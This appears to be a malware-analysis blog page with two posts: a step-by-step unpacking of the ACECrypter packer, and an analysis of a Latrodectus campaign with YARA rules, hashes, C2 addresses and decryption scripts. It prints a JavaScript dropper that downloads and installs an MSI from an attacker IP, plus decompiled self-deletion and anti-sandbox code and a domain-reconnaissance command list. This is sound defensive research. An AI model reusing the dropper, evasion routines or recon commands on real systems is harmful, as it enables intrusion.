RE on Krakz

ACECrypter unpacking walktrough 📦

pbo@fakeEmailToMakeValidatorHappy.com (pbo) — Mon, 04 Nov 2024 00:00:00 +0100

ACECrypter is a crypter utilized by numerous cybercriminals. The service has been observed dropping various types of malicious software, including Remote Access Trojans (RATs), stealers, and loaders such as RedLine, SmokeLoader, and GCleaner, among others. This article provides a hands-on, step-by-step walkthrough of the process to unpack ACECrypter.

The crypter is composed of three stages, for this analysis IDA and xdbg will be used.

The examined sample is: SHA-256: b0968bdb6a175a38ec05efcf605ed61411d16e63e692bc0d7b8f1f747ce3b2e5

The IDB for the three stages are available here. Feel free to used it :).

NB: This packed sample deliver GCleaner (a loader working as a Pay Per Install).

The extracted C2 server of GCleaner set in this sample are:

185.172.128.]90
5.42.65.]115

Stage 0 - Too much noice #

The first stage of this packer employs a concealment technique that involves multiple legitimate system calls. These calls differ between each build of the crypter.

The primary responsibility of this initial stage is to load the subsequent stage into memory, decrypt it, and execute it. This approach is typical for a packer and is not particularly surprising.

Using the IDAtropy plugin, we can easily identify an unsual entropy value in the .text section. The Shannon entropy is a mathematical function that corresponds to the amount of variation in information. Meaning, the more varied the data, the higher entropy is; and the more identical the information is, the lower it entropy is.

In the above capture of the entropy of ACECryptor sample, an unusual entropy stand out in the .text section. This section should contains only executable code (that what .text is purposed). By taking a look at this chunk of data in IDA, the tool cannot decompiled it.

Keep in a note the address of this blob of data, we will validate that this data are in fact the obfuscated stage 1.

The unpacking process for stage 0 can be summarized as follows:

Search for instances of VirtualProtect usage;
Identify the page region where permissions were modified to include execution rights;
Locate the point in the code where this buffer is invoked;
Use a debugger to reach the call to that buffer and create a memory dump.

To better understand the packer’s objective, here’s a quick method for delving into the second stage: First, search for cross-references (XRefs) to VirtualProtect (Figure 2).

Figure 2: Search VirtualProtect

Then decompile the function using VirtualProtect from Kernel32.dll, whose signature is: According to MSDN document MSDN VirtualProtect

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);

As noticed in the function that modify the page permission to PAGE_EXECUTE_READWRITE, which is a noteworthy for a next stage execution. Moreover, the last reference is a call to that address, which is a good indicator for a potential next stage execution.

Figure 3: XRef to lpAddress

Last step to unpack the stage 1 is to add a breakpoint on that specific call in sub_401221 at line 245 (call lpAddress). And run until it is reached!

In xdbg, use the “follow in dump” the address of the call here: ds:44588C and go to memory map tab for this specifics address (btw: save the address, it will be useful for the analysis of the next stage: entrypoint).

Figure 4: Memory map of the address of the stage 1

Then create a memory dump of this page:

Figure 5: Create memory dump of the page

Stage 1 - Shellcode #

In this step of the analysis, we are digging in the previously dumped memory. A memory dump (in this scenario) induce to a file that is not a valid PE, which mean no section, no import, etc… To deal with it, it is highly required to import in IDA the necessary libraries (Open the Type Libraries view in IDA from the toolbar View > Open subviews > Type libraries or Shift+F11).

And import the MS Windows Native API (NDK) type library.

Figure 6: Import type libraries

Because the entrypoint of this stage was saved from the previous analysed stage, a quick look at the two called functions show a tiny stage. Let walk through each of them.

The first function is used to resolved and dynamically import functions from Kernel32.dll and to instanciate a structure. Creating the structure will help for the second function understanding.

Figure 7: First function of stage 1

Before digging in the analysis, a quick check to stack in memory. It appears that the function only takes one argument and declares bunch of local variables. Before creating a structure for this, let take a look at the function sub_673AC3.

The function loop over a data structure in NtCurrentPeb (Process Envionment Block), starting typing the different local variables using the MSDN documentation MSDN Winternl PEB: https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb and the igors-tip-of-the-week, plus looking at the IDA view Local Types Hex-rays igors tips: type libraries https://hex-rays.com/blog/igors-tip-of-the-week-60-type-libraries/ help to understand the purpose of that function, it goes to

Figure 8: Raw function sub_673AC3

The for loop travel the PE header starting from the PEB to PEB_LDR_DATA to go to the DataDirectory and loop over the function in the required DLL.

Of note: because we already import the NtAPI, IDA detects some structures: TEB, Flink.

Figure 9: Typed function dynamic_api_import

At the first look, I cannot identify the hashing algorithm however with the IDA plugin Hashdb give a direct answer to identify the algorithm. (Right click on the first constant and select the HashDB Hunt Algorithm option which answer Kernel32, then right click on the second function argument with the option HashDB Lookup, the first function call is for LoadLibrary and the second one for GetProcAddress.

Figure 10: identification of the hashing algorithm with hashdb

Finally, a decent structure can be created for the variable arg0.

struct MainStruct // sizeof=0x34
{
  _DWORD start;
  Shellcode2Metadata *shellcode_header;
  _DWORD ptr_shellcode_next_stage_offset;
  _DWORD seed;
  int (__stdcall *LoadLibraryA)(_WORD *);
  int (__stdcall *GetProcAddress)(int, _WORD *);
  int GlobalAlloc;
  int (*GetLastError)(void);
  void (__cdecl *Sleep)(int);
  int (__stdcall *VirtualAlloc)(_DWORD, _DWORD, int, int);
  int (__cdecl *CreateToolhelp32Snapshot)(int, _DWORD);
  int (__cdecl *Module32First)(int, int *);
  int (__cdecl *CloseHandle)(int);
};

NB: the stage structure will be detailed later in this section.

So the structure is used to register pointers to the next stage obfuscated and also to the different functions from Kernel32.dll that the program will used later on.

To type correctly the variables that are functions, open a legitimate program in IDA that import Kernel32.dll functions and copy/past their type signature in the structure definition.

Now propagate the type in the caller function and the last function called by the main.

Once we propagate the structure in the stage 1 shellcode, we can search for the blob modification. Using CAPA we have two interesting hits:

Encode data using XOR;
Decompress data using LZ0.

So we can retype the function that matches the LZ0 CAPA rule, and take a look at the XOR function. By searching for the different constants of the algorithm, it appears to be the LCG (Linea Congruential generator) implementation of Microsoft Visaul C/C++.

// Microsoft RAND
// https://en.wikipedia.org/wiki/Linear_congruential_generator
int __cdecl msvc_lcg(MainStruct *a1)
{
  unsigned int v1; // eax

  v1 = 0x343FD * a1->seed + 0x269EC3;
  a1->seed = v1;
  return HIWORD(v1) & 0x7FFF;
}

At this stage of execution, the shellcode needs to unXOR and decompress the next stage. The location of these data is stored in a structure called Shellcode2Metadata, which is a substructure of what we named MainStruct.

struct Shellcode2Metadata // sizeof=0xD
{
  _DWORD size;
  _DWORD seed;
  _BYTE flag;
  _DWORD decompressSize;
};

Finally, after unxoring the data and decompressing it with the LZ0 algorithm, the shellcode uses a jump instruction to proceed to the next stage of execution.

void __cdecl execute_decompressed_lzo_stage(MainStruct *malware)
{
  int v1; // [esp+0h] [ebp-Ch] BYREF
  unsigned __int8 *buff; // [esp+4h] [ebp-8h]
  int ptr_blob_offset; // [esp+8h] [ebp-4h]

  ptr_blob_offset = malware->ptr_shellcode_next_stage_offset;
  init_blob_headers(malware, ptr_blob_offset, malware->shellcode_header->size, malware->shellcode_header->seed);
  if ( malware->shellcode_header->flag )
  {
    buff = malware->VirtualAlloc(0, malware->shellcode_header->decompressSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    v1 = 0;
    lzo_decrompress(ptr_blob_offset, malware->shellcode_header->size, buff, &v1);
    ptr_blob_offset = buff;
    malware->shellcode_header->size = v1;
  }
  __asm { jmp     [ebp+ptr_blob_offset] }
}

To obtain a clean version of the next stage, the same task used in the previous stage can be replicated. Therefore, before the jmp [ebp+ptr_blob_offset] instruction, we save the address where the program jumps and then dump that memory using the Memory map tab in xdbg.

Stage 2 - Next stage execution #

This last stage is also a shellcode. It contains 3 types of data:

The shellcode itself;
An obfuscated structure;
An LZ0 compressed final payload.

As in the previous stage, the shellcode works with a central structure, which this time is more abundant. The structure contains pointers to loaded functions as well as information about the final payload such as the number of sections, the address of the entry point, etc.

The challenge in this stage is that the structure uses negative offsets to access its members, unlike other stages that use the more conventional method. In IDA, we cannot use the right-click “create new structure” feature from a variable. This feature is very helpful for building a structure by roughly computing the number of members and their types. But this does not work for negative offset structure…

In this situation, we should scroll through the function and identify the highest offset (in this case, 254). Based on this value, we can create a raw structure with (254 / 8) _DWORD members:

struct stage3 {
  _DWORD dword_0;
  _DWORD dword_4;
  _DWORD dword_8;
  _DWORD dword_12;
  _DWORD dword_16;
  _DWORD dword_20;
  _DWORD dword_24;
  _DWORD dword_28;
  _DWORD dword_32;
  _DWORD dword_36;
  _DWORD dword_40;
  _DWORD dword_44;
  _DWORD dword_48;
  _DWORD dword_52;
  _DWORD dword_56;
  _DWORD count_copied_data;
  _DWORD ptr_dest_no_compression;
  _DWORD TerminateProcess;
  LPVOID lpAddress;
  _DWORD BaseOfCode;
  SIZE_T mem_size;
  _DWORD raw_addr_next_stage;
  _DWORD dword_88;
  _DWORD msvcr100_handle;
  _DWORD copy_lpAddress;
  _DWORD dword_100;
  char buff_string[16] __strlit(C,"UTF-8");
  _DWORD dword_120;
  _DWORD dword_124;
  _DWORD dword_128;
  _DWORD dword_132;
  _DWORD copy_nt_header;
  _DWORD dword_140;
  int (__cdecl *GetProcAddress)(HANDLE, char *);
  _DWORD VirtualFree;
  IMAGE_OPTIONAL_HEADER *optionalHeader;
  IMAGE_NT_HEADERS *nt_headers_;
  _DWORD dword_160;
  void (__stdcall *SetErrorMode)(int);
  _DWORD dword_168;
  int (__cdecl *VirtualAlloc)(_DWORD, _DWORD, int, int);
  void (__stdcall *GetVersionExA)(int *);
  _DWORD NEXT_STAGE_ENTRYPOINT;
  _DWORD dword_184;
  HANDLE handle_kernel32;
  _DWORD copy_ptr_allocated_mem;
  _DWORD dword_196;
  void (__cdecl *atexit)(_DWORD);
  _DWORD LoadLibrary;
  int (__cdecl *VirtualProtect)(LPVOID, _DWORD, MACRO_PAGE, _DWORD *);
  _DWORD ptr_lz0_decompress;
  _DWORD lpflOldProtect;
  IMAGE_NT_HEADERS *nt_headers;
  _DWORD TerminateProcess_;
  int (__stdcall *ExitProcess)(_DWORD);
  LPVOID ptr_allocated_mem;
  _DWORD result_virtualProtect;
  _DWORD dword_240;
  _DWORD dword_244;
  _DWORD dword_248;
};

We assume that some of the _DWORD elements can be merged with others to create arrays, or they may be split into strings, boolean, or other types.

However, to retype the variable with our newly created structure, we need to make IDA understand the negative structure offset. This can be done using __shifted pointer. Shifted pointers is another custom extension to the C syntax. They are used by IDA and decompiler to represent a pointer to an object with some offset or adjustment (positive or negative). Let’s see how they work and several situations where they can be useful. In our case we retype the variable with this code int *__shifted(stage2,0xF8) stage3

Anti Sandbox #

ACECryptor implemented an anti sandbox feature against cuckoo according ahnlab article.

int __cdecl sandbox_bypass(int (__stdcall *SetErrorMode)(_DWORD),
			   int (__stdcall *TerminateProcess)(_DWORD))
  {
    int result;

    SetErrorMode(0x400);
    result = SetErrorMode(0);
    if (result != 0x400)
      return TerminateProcess(0);
    return result;
  }

The function SetErrorMode is used to set an error mode to the current process and return its previous mode. However, in Cuckoo sandbox The SetErrorMode is set to SEM_FAILCRITICALERRORS|SEM_NOALIGNMENTFAULTEXCEPT (0x8007), according to Anlab analysis, the problem resids in the SEM_NOALIGNMENTFAULTEXCEPT, when an attempt to reset the error mode previously set to SEM_NOALIGNMENTFAULTEXCEPT is ignored and 0x404 is set instead of 0x400.

Trigger the execution #

After remaping the sections of the next stage and rebasing the next stage in the memory of the current process, the packer dynamically load the atexit function from msvcr100.dll.

> Processes the specified function at exit.

int atexit(
   void (__cdecl *func )( void )
);

If the atexit function is successfuly loaded, the packer provides as it first argument the address the entry point of the final payload.

Other great analysis #

Tools #

Latrodectus dropped by BR4 🕷️

pbo@fakeEmailToMakeValidatorHappy.com (pbo) — Thu, 01 Aug 2024 00:00:00 +0200

This article details the last campaign involving Latrodectus malware that is dropped by BruteRatel, some YARA and hunting pivot are also provided.

Context #

Starting point of the analysis is this message on X from Zscaler published on <2024-06-24 Mon>.

🕷️ The initial access broker using #Latrodectus is back! The group has resurrected the malware loader less than a month after #OperationEndgame. #BruteRatel is currently being used to drop Latrodectus.

Sample BruteRatel SHA256 hash:… pic.twitter.com/maaz0OYfd3
— Zscaler ThreatLabz (@Threatlabz) June 23, 2024

Stage 0 (Form_Ver-X-X-X.js) pivot #

Starting from the hash of BruteRatel we found the previous stage JavaScript file. That is overwhelm of comments. A short JavaScript function is “hidden” in the comment, the function is used to download and execute an MSI file using ActiveXObject("WindowsInstaller.Installer").

function installFromURL() {
    var msiPath;
    try {
        installer = new ActiveXObject("WindowsInstaller.Installer");
        installer.UILevel = 2;
        msiPath = "http:85.208.108.]63/BST.msi";
        installer.InstallProduct(msiPath);
    } catch (e) {

    }
}
installFromURL();

Code Snippet 1: Form_Ver-18-13-38.js cleaned

First pivot on the variable installer calling InstallProduct method:

You can use this YARA for instance:

rule Latrodectus_JS_dropper {
  meta:
    purpose = "hunting"
    malware = "latrodectus"
    creation_date = "2024-06-25"
    description = "JS Dropper that DL and install a BR4 MSI"
    classification = "TLP:GREEN"
  strings:
    $s1 = "ActiveXObject"
    $s2 = "//////        installer.InstallProduct(msiPath);"
  condition: all of them
}

Code Snippet 2: YARA hunting rule for the JS dropper

> content:“ActiveXObject” content:"// installer.InstallProduct(msiPath);"

From the above hunting we get 25 JavaScript files:

04086187681a0737f44284e2f715e3d90a7284157916cf1ece61cccc6d975227
073ed26f17f8efd735ad3f7737e88936f4bf2efd9722a37495874d6dd73ec12d
0a12f2ccd4dc561b924c3c88a9571a36fdd01acd12d5a3eca88d2336989fcb89
156c0afc01a5e346b95ebdb60cea9b7046ad7a61199cd63d6ad0f4ae32a576ac
1e2a94cb10157e71a550fd514c3d3607da6e1d2e3dc59b8aec2b175f8492b182
232ec24aa416bd642fdd2eb5d5eae2c72f2dd028b0f5058e193acb656e010f6d
23303910ff8d01d4d6e1499a627dfa6006793faf36766e0f1e7b9fdf15fb0715
2c63de7f491690900d95080d0741bb8282edfec74e58cdc25e7b9ba3a478e574
3af71ac2d92510f3300be025a4bf07069fb668da5fbd664431fc1a2d898a7765
51d30f6ac9da41e2124b765e74737fa43a6990657f8e57170cea8d59552ce806
5b51c052283b08f981cbab43a7c5fcfe740941317adc6c9d9352291dacfda5f0
71a429fdbaa04f8eee80c05b123ba00635569801ca041fdc7c6ac41de8aa72d3
921f90caf2fab16a171d850e1191f416774b0385b430cd71b4a0d98c270cc940
b023037cc1f1dc53d60cd574dbbb09ce1013ef4e299f793e14ad35407d3d5cc7
babfbd312f46e7deed15f68b4e3d4c6a6492bdcc596aaa946986537d3765b53e
bb9203ca1305e47a2ec1443a640efcd5e2c7d11223184639729673579e12967e
da305ed28c974ac82afc57ae365e9955b3237cde4659fb1922de4e72ed42f2b7
dc4317e2514603f94394c762b7e92a8a693689657641e190efeb2ed24c690525
e4919fd30fc8ad21a3798684bd9b6104907fa214251ffe6c34dc9ae849c7d1b1
e57990d251937c5e4b27bf2240a08da37a40399bd3faa75ed67616ac3935f843
f7382cb88fb68a4fb40c29fd991bd3b1f1933a264a45b4d336289a7e3891f13c

Retrieve all delivery C2:

import os

urls = set()

for _, _, filenames in os.walk(path):
    for filename in filenames:
        with open(os.path.join(path, filename), "r") as f:
            raw_script = f.read()
        script = []
        for line in raw_script.split("\n"):
              if line.startswith("////"):
                  script.append(line.replace("////", ""))
                  if "msiPath = " in line:
                      urls.add(line.split(" = ")[-1].replace(";","").replace('"', ''))
return "\n".join(urls)

Code Snippet 3: python script to retrieve delivery URLs

http://45.95.11.217/ad.msi
http://85.208.108.12/WSC.msi
http://85.208.108.63/BST.msi
http://146.19.106.236/neo.msi
http://193.32.177.192/vpn.msi
http://185.219.220.149/bim.msi
http://85.208.108.12/aes256.msi

Table 1: URL triage

URL	State
`http://146.19.106.236/neo.msi`	Down
`http://185.219.220.149/bim.msi`	Down
`http://193.32.177.192/vpn.msi`	UP <2024-06-24 Mon>
`http://45.95.11.217/ad.msi`	DOWN
`http://85.208.108.12/WSC.msi`	DOWN
`http://85.208.108.12/aes256.msi`	DOWN
`http://85.208.108.63/BST.msi`	UP <2024-06-24 Mon>

Stage1: MSI #

Starting reverse from e57990d251937c5e4b27bf2240a08da37a40399bd3faa75ed67616ac3935f843 (vpn.msi downloaded from hxxp://193.32.]177.192/vpn.msi)

The MSI install itself in the AppData directory and use a custom action to starts the malicious DLL aclui.dll by calling the exported function edit.

Figure 1: MSI executing a DLL using rundll32

N.B: rundll32.exe aclui.dll, edit, this is interesting to see a non standard DLL entrypoint edit

The DLL is stored in the MSI in the Files segment, which made its extraction convenient with MSIViewer.

Stage 2 BruteRatel: aclui.dll #

SHA-256: c5dc5fd676ab5b877bc86f88485c29d9f74933f8e98a33bddc29f0f3acc5a5b9. The DLL is executed using rundll32.exe on the export name edit.

Using unpac.me it detects a BruteRatel c4_a0 sample and returns an unpacked file that have this SHA-256 hash: 0d3fd08d237f2f22574edf6baf572fa3b15281170f4d14f98433ddeda9f1c5b2

This file is the first stage of BruteRatel which can again be unpack on unpac.me with the SHA-256 hash: 77a8e883db7da0b905922f7babc79f1c1b78a521b0a31f6d13922bc0603da427

From the last stage of BruteRatel 77a8e883db7da0b905922f7babc79f1c1b78a521b0a31f6d13922bc0603da427 there is some memory pattern that are related to Latrodectus (URL with /live/). However at the time of writing (<2024-06-25 Tue>) all of the BR4 C2s are down therefore full infection leading to Latrodectus cannot be executed. A comprehensive and interesting article on this Brute Ratel analysis, which complements the missing part of this article, has been written by @BlueEye46572843. It was published around the same time and is available on the ANY.RUN blog.

Stage 3: Latrodectus sample analysis #

Overview #

As from the last stage of BR4 we cannot retrieve the Latrodectus DLL, we start analysing a sample from the same campaign (JS->BR4->Latrodectus): SHA-256: d843d0016164e7ee6f56e65683985981fb14093ed79fde8e664b308a43ff4e79

The DLL have 4 exported functions that point to the same address:

Figure 2: Latrodectus exported functions

Dynamic API resolution #

Most of the dynamically imported functions are hashed using the CRC32 algorithm, with only two functions hashed using a different algorithm.

The malware first dynamically resolves various DLLs: kernel32.dll, Wininet.dll and ntdll.dll. Each DLL is resolved in a dedicated function, and for each function in the DLL, a structure (api, see the definition below) is created and added to an array. An entry in the api_table array has the following structure:

  struct api {
    DWORD funcHash;
    HMODULE* hModule;
    LPVOID*  pFunc;
  };

Code Snippet 4: C structure of a api entry

Figure 3: NTDLL api resolution

The hash are stored in the “normal” representation (crc32), according to reveng.ai article the code come from BlackLotus open source project.

Here is a capture of the function used to obtain the DLL base (_LIST_ENTRY) of the DLL to load:

Figure 4: DLL dynamic loading function

string obfusatation #

Latrodectus strings are obfuscated using a custom algorithm, each string is stored under a particular structure which has the following shape:

  struct latrodectus_string {
    DWORD size;
    WORD seed;
    CHAR[] buff;
  };

Code Snippet 5: Latrodectus string structure

Figure 5: Obfuscated string structure

The size of the obfsucated data is the result of a XOR operation between the key (4 bytes) and the seed (2 bytes). The malware deobfsucates the string with the function below:

Figure 6: Decompiled function used to deobfuscate Latrodectus string

Here is the Python script to deobfuscate strings:

import struct

def deobfuscate_string(buff: bytes) -> str:
    key, seed = struct.unpack("<ih", buff[:6])
    size = (key ^ seed) & 0xFF
    ciphertext = buff[6 : 6 + size]
    cleartext = bytearray(size)

    for index in range(size):
        key += 1
        cleartext[index] = (key ^ ciphertext[index]) & 0xFF

    return cleartext.decode("utf-16")


buff = bytes.fromhex(
    "2082130E3C826222562456265328462A462C722E5A3041325734543643385C3A3B3C0000"
)

print(deobfuscate_string(buff))

Code Snippet 6: Python function to deobfuscate Latrodectus strings

Custom_update�

Here is the IDA script to debofsucate the strings:

Before running it, I needed to decompiled the all program File>Produce>C file

import idautils
import struct


def deobufscate_string(buff: bytes) -> str:
    key, seed = struct.unpack("<ih", buff[:6])
    size = (key ^ seed) & 0xFF
    ciphertext = buff[6 : 6 + size]
    cleartext = bytearray(size)

    for index in range(size):
        key += 1
        cleartext[index] = (key ^ ciphertext[index]) & 0xFF

    return cleartext


def get_string_length(address):
    """
    Get the length of the string at the given address.

    :param address: The address of the string.
    :return: The length of the string.
    """
    string = idc.get_strlit_contents(address)
    if string:
        return len(string)
    return 0


def get_data_length(address: int) -> int:
    """
    Get the length of the data at the given address by analyzing the type.

    :param address: The address of the data.
    :return: The length of the data.
    """
    flags = idc.get_full_flags(address)
    if idc.is_strlit(flags):
        # It's a string
        return get_string_length(address)
    elif idc.is_data(flags):
        # It's some kind of data (e.g., array or structure)
        size = idc.get_item_size(address)
        return size
    return 0


deobfuscution_func_addr = 0x18000AE78 # CHANGE-ME
for ref in idautils.XrefsTo(deobfuscution_func_addr):
    for ea in idautils.Heads(ref.frm - 10, ref.frm):
        insn = idaapi.insn_t()
        length = idaapi.decode_insn(insn, ea)
        mnemonic = print_insn_mnem(ea)
        if mnemonic == "lea":
            operand_1 = print_operand(ea, 0)
            operand_2 = print_operand(ea, 1)
            addr = get_operand_value(ea, 1)
            size = get_data_length(addr)
            data = idc.get_bytes(addr, size)
            cleartext = ""
            try:
                cleartext = deobufscate_string(data)
                if cleartext.endswith(b"\x00" * 2): # wide detection...
                    cleartext = cleartext.decode("utf-16")
                else:
                    cleartext = cleartext.decode()
                print(f"set comment at 0x{ea:x} : `{cleartext}`")
                idc.set_cmt(ea, cleartext, 1)
            except Exception as er:
                print(er)
                if cleartext:
                    # idc.set_cmt(ref.frm, cleartext, 0)
                    print(f"need manual comment 0x{addr:x} {cleartext}")
                else:
                    print(f"error for : 0x{addr:x}")

Code Snippet 7: IDA Script for string deobfuscation

Additionally, the malware performs a series of environment detection checks, such as counting the running processes. Based on the OS version, it determines a threshold range within which the number of running processes is considered acceptable. It also verify if the flag IsDebugged in the Process Environment Block is set in cased a debugger would be attach to the process.

It also verifies that the MAC addresses of the various interfaces have a valid size.

Next, it computes a bot identifier from the volume serial number and then performs a series of multiplications with a hardcoded constant 0x19660D. (which has the same value of the RNG multiply of LCRNG algorithm, because why not…).

Figure 7: botid string formating

A campaign or group identifier is also embedded in the obfuscated strings, this value (deobfuscated) is hashed with FNV-1 algorithm. The current sample respond to the group ID Littlehw

Persistence #

To persiste on the infected host, Latrodectus uses a scheduled task using COM base object.

> msdn logon trigger c++ example

The task is triggered on Logon event.

Figure 8: Function that create the scheduled task using COM object

Here is a way to build the CLSID from the hex data structure exported from the sample

import struct

def bytes_to_clsid(byte_data):
    if len(byte_data) != 16:
        raise ValueError("A CLSID must be 16 bytes long")

    # Unpack bytes according to CLSID structure
    part1, part2, part3, part4_and_part5 = struct.unpack('<IHH8s', byte_data[:16])

    # Split part4_and_part5 into two parts
    part4 = part4_and_part5[:2]
    part5 = part4_and_part5[2:8]
    part6 = byte_data[8:16]

    # Format the CLSID
    clsid = f'{{{part1:08X}-{part2:04X}-{part3:04X}-{part4.hex().upper()}-{part5.hex().upper()}{part6.hex().upper()}}}'
    print(clsid)

# Example usage
byte_data = bytes.fromhex("C7A4AB2FA94D1340969720CC3FD40F85")
bytes_to_clsid(byte_data)

Code Snippet 8: Python function to format from hex representation the CLSID

{2FABA4C7-4DA9-4013-9697-20CC3FD40F85969720CC3FD40F85}

This CLSID correspond to the TaskScheduler, I made a script that gather various CLISD retrieved from wine project. More information on how to extract this CLSID in this note and the full script is available here.

Defense evasion #

To hid itself, Latrodectus uses Alternate Data Stream as explain in reveng.ai blogpost The code was borrowed from byt3bl33d3r/OffensiveNim github repository.

reveng.ai citation

Latrodectus makes use of a trick to delete itself while the process is still running, making use of an alternative data stream (ADS) and a specific chain of API calls. This technique is used by other malware such as RaspberryRobin, HelloXD Ransomware, DarkPower Ransomware.

The C code used for the self delete is the following one:

__int64 self_delete_withADS()
{
  char v1[8]; // [rsp+40h] [rbp-D8h] BYREF
  HANDLE FileW; // [rsp+48h] [rbp-D0h]
  int *buff; // [rsp+50h] [rbp-C8h]
  unsigned __int64 v4; // [rsp+58h] [rbp-C0h]
  unsigned __int64 buff_size; // [rsp+60h] [rbp-B8h]
  int *v6; // [rsp+68h] [rbp-B0h]
  __int16 *v7; // [rsp+70h] [rbp-A8h]
  WCHAR *__attribute__((__org_arrdim(0,0))) v8; // [rsp+78h] [rbp-A0h]
  __int16 a2[76]; // [rsp+80h] [rbp-98h] BYREF

  if ( !self_filepath )
    return 0xFFFFFFFFi64;
  FileW = CreateFileW(self_filepath, DELETE, 0, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);
  if ( FileW == INVALID_HANDLE_VALUE )
    return 0xFFFFFFFFi64;
  deobfuscate_string(&byte_18000FA18, a2);      // :wtfbbq\x00
  v7 = a2;
  v8 = a2;
  v4 = 2i64 * whar::get_length(a2);
  buff_size = v4 + 24;
  buff = allocate_memory_rwx(v4 + 24);
  if ( !buff )
    return 0xFFFFFFFFi64;
  zero_mem_0(buff, buff_size);
  v6 = buff;
  buff[4] = v4;
  qmemcpy(v6 + 5, v8, v4);
  if ( SetFileInformationByHandle(FileW, FileRenameInfo, v6, buff_size) )
  {
    nt_free_mem(buff);
    CloseHandle(FileW);
    FileW = CreateFileW(self_filepath, DELETE, 0, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);
    if ( FileW == INVALID_HANDLE_VALUE )
    {
      return 0xFFFFFFFFi64;
    }
    else
    {
      v1[0] = 0;
      zero_mem_0(v1, 1ui64);
      v1[0] = 1;
      if ( SetFileInformationByHandle(FileW, FileDispositionInfo, v1, 1u) )
      {
        CloseHandle(FileW);
        return 0i64;
      }
      else
      {
        return 0xFFFFFFFFi64;
      }
    }
  }
  else
  {
    nt_free_mem(buff);
    return 0xFFFFFFFFi64;
  }
}

Code Snippet 9: Self delete using Alternate Data Stream

Command and Control Communication #

The malware uses this user-agent which is unique to this version (or campaign) of Latrodectus. > behavior_network:“Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)”

The malware communicate over HTTPS where the POST data are base64 encoded and its content is RC4 encrypted. The RC4 key is stored obfuscated using the same obfuscation as other strings. In this sample the key is 12345…

The bot understands 4 orders: URLS, CLEARURL, COMMAND and ERROR. The list of command is provided in the Table 2. The URLS updated the list of C2 URLs and CLEARURL cleaned the C2 URLs table.

Command ID	Description
2	Get desktop files
3	List running processes
4	fingerprint host & domain
12	Download and execute EXE in AppData
13	Download and execute DLL in AppData
14	Download and execute Shellcode
15	Download and update EXE (auto-update)
17	Exit process
18	Run DLL in AppData (`init -zzzz` files/bp.dat)
19	Increase beacon interval
20	Reset counter (number of sended http request)

Other analysis made on this threat highlight a command ID 21 related to a stealer module, no reference to this ID have been found in this sample. My primary hypothesis is that stealer capability is optional ¯\_(ツ)_/¯.

The bot beacon with its C2 with POST request where the body contains the following fields:

counter: number of http request send;
type: and id (1 to 5) defining which beacon it is (sysinfo, process list, desktop files);
guid: bot identifier;
os: major version;
arch: fixed to 1 for x64 architecture (otherwise the bot exit if it is another architecture);
username: username of the running process owner;
group: FNV-1 hash of the group (Littlehw);
ver: bot version;
up: a constante;
direction: C2 related information;

counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s.

To facilitate the decryption of the communication, here is a script to help:

import base64

def rc4(data: str, key: str) -> str:
    """code from OALabs """
    x = 0
    box = list(range(256))
    for i in range(256):
        x = (x + box[i] + key[i % len(key)]) % 256
        box[i], box[x] = box[x], box[i]
    x = 0
    y = 0
    out = []
    for c in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        out.append(c ^ box[(box[x] + box[y]) % 256])
    return bytes(out)


buff = b"E3l9I35LXiOWKYHilDWuJoUOTU3NOyjNGnp3muFUOrabzvFw6FpoOQqdBZmsUV5E7FzXWHKgBafR6PcPckBsIB2vIhb3CZ/QHPoEO1hc0A++PpLQjpRWJkK3EFDxH/R5RYjhInO8hc0jTljC91GMVstjkxgQnuZLGBW6AV/gz4VrNMWUxFUtP4fdg/HKCREbRm+gIHkH/7Jc9Q=="
key = b"12345"
print(rc4(base64.b64decode(buff), key).decode())

Code Snippet 10: Packet decryption routine

CLEARURL
URLS|0|https://popfealt.one/live/
URLS|1|https://ginzbargatey.tech/live/
URLS|2|https://minndarespo.icu/live/
COMMAND|4|front://sysinfo.bin

NB: the command: 4, where it contains front:// the bot replace the front:// by the value of the actual C2 URL.

Host & Domain recon #

One of the capacity of the bot is to execute in a dedicated thread a serie of commands to fingerprint the network topology of the infected host and on the connected domain:

ipconfig /all
systeminfo
nltest /domain_trusts
net view /all /domain
nltest /domain_trusts /all_trusts
net view /all
net group "Domain Admins" /domain
/Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
net config workstation
wmic.exe /node:localhost /names
whoami /groups

NB: This method is executed when the bot received the COMMAND order with the ID 0x4, c.f: Table 2.

YARA #

import "pe"

rule latrodectus_exports : TESTING {
    meta:
        version = "1.0"
        malware = "Latrodectus"
        author = "Sekoia.io"
        description = "detection based on the DLL exports, this is specific to the BR4 campaign"
        creation_date = "2024-07-03"
        classification = "TLP:GREEN"

    condition:
        (pe.exports("stow") or pe.exports("homq") or pe.exports("scub")) and pe.number_of_exports >= 3 and uint16(0) == 0x5a4d
}

Artefacts hunting #

Host artefacts:

%appdata%\Custom_update directory with the files:
- update_data.dat (obfsucated C2 URLs);
- Update_<8 random characters>.dll.
Mutex runnung;
Scheduled task named Updater.

Network artefacts:

HTTP User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1);
HTTP POST request on /live/ endpoints.

Latrodectus Update #

Previous version samples:

Strings obfuscation #

In the previous version of the malware, the string deobfuscation function used a more sophisticated aglorithm PRNG2 with have been removed in the current one…

The encoded strings always starts with 0xf5 byte due to the PRNG2 implementation:

Figure 9: Example of obfsucated string in previous version

BYTE *__fastcall decode_string(WORD *obfuscated_data, BYTE *buff_dest)
{
  BYTE v3; // [rsp+20h] [rbp-18h]
  unsigned __int16 i; // [rsp+24h] [rbp-14h]
  unsigned __int16 length; // [rsp+28h] [rbp-10h]
  int seed; // [rsp+2Ch] [rbp-Ch]
  BYTE *ptr_buff_obfuscated; // [rsp+40h] [rbp+8h]

  seed = *(_DWORD *)obfuscated_data;
  length = obfuscated_data[2] ^ *obfuscated_data;
  ptr_buff_obfuscated = (BYTE *)(obfuscated_data + 3);
